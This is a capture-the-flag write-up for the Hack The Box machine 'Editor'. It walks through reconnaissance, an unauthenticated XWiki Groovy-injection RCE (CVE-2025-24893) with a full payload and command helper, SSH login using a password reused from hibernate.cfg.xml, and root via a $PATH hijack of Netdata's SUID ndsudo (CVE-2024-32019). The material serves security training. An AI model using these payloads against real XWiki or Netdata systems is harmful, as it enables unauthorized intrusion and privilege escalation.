root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat editor.md
// writeups

Editor

2 Aug 2025 · 17 min read
Editor - maquina de Hack The Box

Executive summary — Editor combines an unauthenticated RCE in XWiki (CVE-2025-24893: the guest-accessible SolrSearch search macro evaluates its parameter as wiki syntax, letting an attacker break out of context and inject a {{groovy}} macro that runs on the server) with a classic password reuse into the real SSH account. The final escalation is CVE-2024-32019: a $PATH hijack against Netdata's SUID ndsudo binary, with a non-obvious twist — a bash helper doesn't work, because bash itself drops the inherited privilege; an interpreter that doesn't enforce that protection is needed instead.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.231.23

Attack map

[8080] XWiki 15.10.8 — unauthenticated SolrSearch macro
   │  CVE-2025-24893 — wiki syntax injection → {{groovy}} macro → RCE
   ▼
[RCE]  xwiki (uid 997)
   │  MySQL password in hibernate.cfg.xml reused over SSH
   ▼
[SSH]  oliver@editor.htb  (user.txt)
   │  oliver in the netdata group → SUID ndsudo resolved via $PATH
   │  CVE-2024-32019 — bash helper fails (drops euid); Python does not
   ▼
[ROOT]  malicious Python helper via $PATH → root-owned SUID bash → root.txt

1. Reconnaissance

The lab environment didn't allow writing to /etc/hosts without sudo, so most enumeration was done directly against the IP, setting the Host: header by hand wherever it mattered:

echo "10.129.231.23 editor.htb" | sudo tee -a /etc/hosts
ping -c 3 10.129.231.23
64 bytes from 10.129.231.23: icmp_seq=3 ttl=63 time=97.4 ms

TTL 63 (from the 64 band) confirms Linux with no significant intermediate hops.

nmap -sT -p- --min-rate 3000 -T4 -Pn -oN nmap_allports.txt 10.129.231.23
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
nmap -sT -sCV -p22,80,8080 -Pn -oN nmap_services.txt 10.129.231.23
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-robots.txt: 50 disallowed entries ... /xwiki/bin/...
|_http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.231.23:8080/xwiki/bin/view/Main/

Two clear clues: port 80 redirects to editor.htb (virtual hosting in play), and port 8080's robots.txt gives away by itself that this is an XWiki instance running on Jetty — without even opening the site.

curl -s -H "Host: editor.htb" http://10.129.231.23/ -o editor_index.html
grep -oiE '<title>[^<]*' editor_index.html
<title>Editor - SimplistCode Pro

Port 80 is a static Vite-style SPA with nothing directly exploitable — the real vector is XWiki, so its exact version is confirmed first via the unauthenticated REST endpoint:

curl -s "http://10.129.231.23:8080/xwiki/rest/"
<xwiki ...><version>15.10.8</version></xwiki>

XWiki 15.10.8 — the version affected by CVE-2025-24893 (vulnerable range: < 15.10.11 and < 16.4.1).

2. Foothold — CVE-2025-24893 (unauthenticated RCE in XWiki)

Component: the SolrSearch macro, meant to serve search results as an RSS feed, reachable with no authentication because XWiki lets guests search public content.

Root cause: that RSS search's text parameter isn't treated as plain text — it's evaluated as wiki syntax, the same markup language used to edit pages. A guest can close the search context with }}} and inject any valid wiki macro afterwards, including {{groovy}}, which XWiki runs as real Groovy/Java code server-side. It's essentially the same underlying flaw as SSTI: mixing user data with a language that also knows how to execute code.

/xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
}}}{{async async=false}}{{groovy}} <GROOVY_CODE> {{/groovy}}{{/async}}

async=false matters: it forces the macro to run synchronously with its result landing in the HTTP response, instead of being queued in the background.

PAYLOAD='}}}{{async async=false}}{{groovy}}println("MARKER_"+(7*7)){{/groovy}}{{/async}}'
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
curl -s "http://10.129.231.23:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=$ENC" | grep -a MARKER
}}}MARKER_49

7*7 evaluates to 49 inside the response ⇒ Groovy execution confirmed. From here, a bash helper automates running system commands, wrapping the output in markers so it can be cleanly extracted from the RSS feed (which comes back with unescaped HTML entities):

runcmd() {
  local CMD="$1"
  local PAYLOAD='}}}{{async async=false}}{{groovy}}println("CMDOUT_START\n"+["bash","-c","'"$CMD"'"].execute().text+"\nCMDOUT_END"){{/groovy}}{{/async}}'
  local ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
  curl -s "http://10.129.231.23:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=$ENC" \
    | python3 -c "import sys,html,re; d=sys.stdin.read(); d=re.sub(r'<[^>]+>','',d); d=html.unescape(d); m=re.search(r'CMDOUT_START(.*?)CMDOUT_END',d,re.S); print(m.group(1).strip() if m else '[no output]')"
}

runcmd 'id; whoami; hostname'
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
xwiki
editor

RCE confirmed as the xwiki user (the Java application-server process, not a human account).

runcmd 'ls -la /home'
drwxr-x--- 3 oliver oliver 4096 Jul  8  2025 oliver

The user oliver exists, but their $HOME is mode 750 — not readable by xwiki. Their credentials have to come from somewhere else.

3. Lateral movement — xwiki → oliver

XWiki stores its database connection credentials in plain text in hibernate.cfg.xml — a standard Hibernate/ORM config file, an obvious target to check after any RCE on a Java app:

runcmd "grep -riE 'connection.username|connection.password' /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml"
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?...</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>

That application database password turns out to be reused, verbatim, for the real oliver operating-system account — the single most common lateral-movement pattern after any foothold: any credential found in a config file is worth trying against SSH.

ssh oliver@10.129.231.23      # password: theEd1t0rTeam99

The lab's Kali install didn't have sshpass; the login was automated with pexpect to answer the password prompt:

import pexpect
child = pexpect.spawn("ssh -o StrictHostKeyChecking=no oliver@10.129.231.23 'id; cat ~/user.txt'", encoding='utf-8')
i = child.expect(['password:', 'yes/no'])
if i == 1:
    child.sendline('yes'); child.expect('password:')
child.sendline('theEd1t0rTeam99')
child.expect(pexpect.EOF)
print(child.before)
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
cat ~/user.txt
52ee6143185781ac843efab631a6bd49

🚩 user.txt: 52ee6143185781ac843efab631a6bd49

Key fact for the escalation, already visible in the group list: oliver belongs to the netdata group (gid 999).

4. Privilege escalation — oliver to root (CVE-2024-32019)

echo 'theEd1t0rTeam99' | sudo -S -l
Sorry, user oliver may not run sudo on editor.

With no sudo, the vector has to come from the netdata group:

netdata -v
netdata v1.45.2
grep netdata /etc/passwd
id netdata
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
uid=996(netdata) gid=999(netdata) groups=999(netdata),4(adm),13(proxy),120(docker)
find / -name ndsudo 2>/dev/null
ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr  1  2024 ndsudo

ndsudo is SUID root, owned by root:netdata and runnable only by root or members of the netdata group — which already includes oliver. It's a helper Netdata uses to run privileged hardware-diagnostic tools (nvme, megacli, arcconf, smartctl…).

strings /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo | grep -A2 nvme
nvme-list
list --output-format=json
nvme

CVE-2024-32019: to locate those hardware binaries, ndsudo searches for them through the $PATH environment variable instead of using absolute paths — and $PATH is controlled by whoever invokes the program. Affects Netdata < 1.45.3 and < 1.46.0; the 1.45.2 installed here is vulnerable.

First attempt, with a bash helper:

mkdir -p /tmp/pe
printf '#!/bin/bash\ncp /bin/bash /tmp/pe/rootbash; chmod 4755 /tmp/pe/rootbash\n' > /tmp/pe/nvme
chmod +x /tmp/pe/nvme
PATH=/tmp/pe:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
ls -la /tmp/pe/rootbash
-rwsr-xr-x 1 oliver oliver ... rootbash   <- owned by oliver, not root

The resulting binary belongs to oliver, not root: the SUID bit was useless here. Why it fails: ndsudo does start with euid=0 (thanks to its SUID bit) and does execve() the helper — but the helper is a #!/bin/bash script, and bash, on noticing its euid (0) doesn't match its ruid (1000), voluntarily drops the inherited privilege, setting euid back to ruid before running a single line of the script (unless invoked explicitly with -p). That's a deliberate bash security protection against exactly this scenario — not a flaw in the exploit, but the reason a different interpreter is needed.

printf '#!/bin/bash\nid > /tmp/pe/out.txt 2>&1\n' > /tmp/pe/nvme
PATH=/tmp/pe:$PATH ndsudo nvme-list
cat /tmp/pe/out.txt
uid=1000(oliver) gid=1000(oliver) ...   <- bash dropped euid=0

Confirmed by the helper reporting its own id: no compiler available on the target (gcc/cc missing), but python3 and perl are — interpreters that don't enforce that privilege-dropping protection:

which gcc cc clang     # empty
which python3 perl     # /usr/bin/python3  /usr/bin/perl
rm -rf /tmp/pe; mkdir -p /tmp/pe

cat > /tmp/pe/nvme <<'EOF'
#!/usr/bin/python3
import os
os.setgid(0)
os.setuid(0)
os.system("cp /bin/bash /tmp/pe/rootbash; chmod 4755 /tmp/pe/rootbash")
EOF
chmod +x /tmp/pe/nvme

PATH=/tmp/pe:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

ls -la /tmp/pe/rootbash
-rwsr-xr-x 1 root root 1396520 ... rootbash   <- now owned by root

Why it works: ndsudo (with euid=0) does execve() on /tmp/pe/nvme; the kernel, seeing the #!/usr/bin/python3 shebang, starts the interpreter inheriting euid=0 — unlike bash, Python doesn't drop it automatically. os.setuid(0)/os.setgid(0) explicitly set ruid=euid=saved=0, and from there os.system() runs as full root, creating a copy of bash that is SUID and root-owned.

/tmp/pe/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(oliver) gid=1000(oliver) euid=0(root) groups=1000(oliver),999(netdata)
8250c2931c323ed822fb7a456ec30b45

The -p flag is the other required half: it tells bash not to drop the privilege of the freshly created SUID binary (without it, bash would drop euid back to ruid again, exactly like the first failed attempt).

🚩 root.txt: 8250c2931c323ed822fb7a456ec30b45

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdXWiki 15.10.8 (SolrSearch macro)CVE-2025-24893 — wiki syntax injection → unauthenticated {{groovy}} macroRCE as xwiki
Lateral movementXWiki's hibernate.cfg.xmlPlaintext DB password reused on the real OS accountSSH as oliver (user.txt)
PrivEscNetdata's ndsudo (SUID root, netdata group)CVE-2024-32019 — binaries resolved via $PATH instead of absolute pathsRoot (root.txt)

Lessons learned

  • Programmatic wiki macros (Groovy, Velocity…) reachable by guests are RCE waiting to happen: any engine that evaluates user input as the same language it can also execute code in is, in essence, SSTI under a different name.
  • Never reuse an application database password for a real system account: config files like hibernate.cfg.xml/.env are among the first things to check after any foothold, and their contents are worth trying against SSH and any other exposed service.
  • A SUID binary that resolves its dependencies via $PATH instead of absolute paths is hijackable by anyone who controls its execution environment — no need to touch the binary itself, just control what it finds first.
  • Not every bash-shebang SUID helper grants real root: bash deliberately drops the inherited euid when it doesn't match ruid — a security protection, not an incidental obstacle. It takes an interpreter that doesn't enforce it (Python, Perl) or a compiled binary, followed by bash -p to preserve the privilege once recovered.
  • Belonging to an innocuous-looking service group (like netdata) can be the only step between a normal user and root if that group has access to a vulnerable SUID binary — worth systematically checking the groups of any compromised user.